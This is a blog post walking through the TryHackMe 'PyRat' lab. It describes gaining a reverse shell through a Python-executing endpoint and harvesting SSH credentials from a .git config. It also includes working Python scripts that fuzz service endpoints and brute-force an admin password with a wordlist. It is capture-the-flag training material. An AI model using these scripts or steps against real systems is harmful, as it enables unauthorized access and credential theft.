DEV Community

Nihir Zala
Nihir Zala

Posted on • Originally published at nihirzala.Medium

TryHackMe - PyRat WalkThrough

The Scenario
The room is designed to mimic a vulnerable Python application. The main goal is to gain shell access by exploiting the way the server handles specific commands. Here’s a breakdown of the process I followed to root the system.

Step 1: Scanning and Enumerating the Server
The result gives two ports — Port 8000 (HTTP) and Port 22 (SSH). My first step was to use a tool nmap to scan the server. This revealed a web server running on Python's SimpleHTTPServer module, version 3.11.2. Knowing this, I could start investigating possible vulnerabilities associated with this outdated Python module.

Step 2: Investigating the Web Application

The web app provides minimal information at first glance. However, after inspecting the page and by interacting with the endpoint, it becomes clear that this server might allow remote code execution (RCE) by exploiting a vulnerability in the way it processes commands.

Step 3: Gaining Shell Access
After some initial attempts at using Netcat and Telnet to interact with the server, I discovered that the web endpoint was behaving like an interactive Python shell. Commands such as print("hello") or id would return outputs, confirming that Python was indeed executing on the server.

print("hello") returns "hello" which means the command is being executed.

Next, I crafted a simple Python reverse shell command and tried to execute it through the web endpoint. However, I encountered some minor syntax issues at first. After adjusting my payload, I successfully launched a reverse shell and connected it back to my local machine.

So open up two terminals and in one terminal setup an nc listener to port 4444 and other terminal run nc “victim_ip” 8000, as shown in the image below:

Next, go to the online reverse shell generator website (https://www.revshells.com/) and obtain the payload needed for a reverse shell. After executing the command, you will successfully establish a reverse shell, as demonstrated below:

Run the cmd

Reverse shell on the listener

The above steps can be also done by running “nc 10.10.57.3 8000” and simply typing “shell”. To learn more about this you can visit: “https://github.com/josemlwdf/PyRAT/tree/main”.

Once we get the shell we can see that there is a user called “think”:

By carefully reading the room’s description, you’ll notice the line: ”Delving into the directories, the author uncovers a well-known folder that provides a user with access to credentials. A subsequent exploration yields valuable insights into the application’s older version.” Following this hint, I navigated to /opt/dev and found a .git directory. Exploring it further, I came across a config file, which revealed the password for the username “think.”

As you might recall from the Nmap scan, SSH is available on the target. The next step is to log in using SSH with the username and password we just uncovered:

Once logged in we get the user.txt file:

Step 4: Privilege Escalation
After securing a proper SSH session, I was able to escalate privileges by finding and exploiting a misconfigured cron job or a weak file permission in the system; with no luck at all as shown in the below images:

So next, I look more into the git folder, and as we know that a Git repository tracks all changes made to the codebase, meaning there may be additional information we can retrieve from it.

I executed the git status command and noticed that an older version of the file had been deleted. To retrieve it, I restored the file and used cat to display its contents and examine the previous code:

git status
This revealed that an old version of pyrat.py.old had been deleted. I restored the file with:

git restore pyrat.py.old
Afterward, I used cat to view the contents of the restored file and analyze the old code:

This allowed me to investigate any potential vulnerabilities or useful information in the previous version of the program.

We need to try different endpoints we can do this manually as shown below:

Or write a script and fuzz it with random endpoints based on the room’s introduction, here’s the script used for fuzzing which i saved it as “endpoint.py”:

import socket
def fuzz_endpoints(ip, port, endpoints):
for endpoint in endpoints:
try:
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((ip, port))
print(f"Testing: {endpoint}")
client_socket.sendall(endpoint.encode() + b'\n')
response = client_socket.recv(1024)
print(f"Response from {endpoint}: {response.decode()}\n")
client_socket.close()
except Exception as e:
print(f"Error with {endpoint}: {e}")

List of potential endpoints to fuzz

endpoint_list = ["some_endpoint", "shell", "admin", "backup", "reset", "login", "help", "root", "register", "old"]

Target IP and port (replace with actual values)

target_ip = "10.10.57.3"
target_port = 8000

Fuzz the endpoints

fuzz_endpoints(target_ip, target_port, endpoint_list)
The script produced the following responses:

The response from ‘shell’ indicates it’s a non-privileged user, so we can disregard it. The ‘admin’ endpoint, however, asks for a password, suggesting it could be of importance.

So we need to crack the password, and we need to automate the process, for this, the script is given below save it as passwords.py and run it:

import socket

Configuration

target_ip = "10.10.57.3" # Target IP
target_port = 8000 # Target port
password_wordlist = "passwordlist-1640267.txt" # Path to your password wordlist file
def connect_and_send_password(password):
try:
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((target_ip, target_port))
client_socket.sendall(b'admin\n')
response = client_socket.recv(1024).decode()
print(f"Server response after sending 'admin': {response}")
if "Password:" in response:
print(f"Trying password: {password}")
client_socket.sendall(password.encode() + b"\n")
response = client_socket.recv(1024).decode()
if response:
print(f"Server response for password '{password}': {response}")
return True
else:
print(f"Password '{password}' is incorrect or no response.")
return False
except Exception as e:
print(f"Error: {e}")
return False
finally:
client_socket.close()
def fuzz_passwords():
with open(password_wordlist, "r") as file:
passwords = file.readlines()
for password in passwords:
password = password.strip() # Remove any newline characters
if connect_and_send_password(password):
print(f"Correct password found: {password}")
break
else:
print(f"Password {password} was incorrect. Reconnecting...")
if name == "main":
fuzz_passwords()
You can use any file for the passwords like rockyou.txt and you will get the password. When you have the password you can nc to the machine type admin and enter the password to get access as admin:

You can follow me on social media:

Twitter, Linkedin, Instagram & Github.

Top comments (0)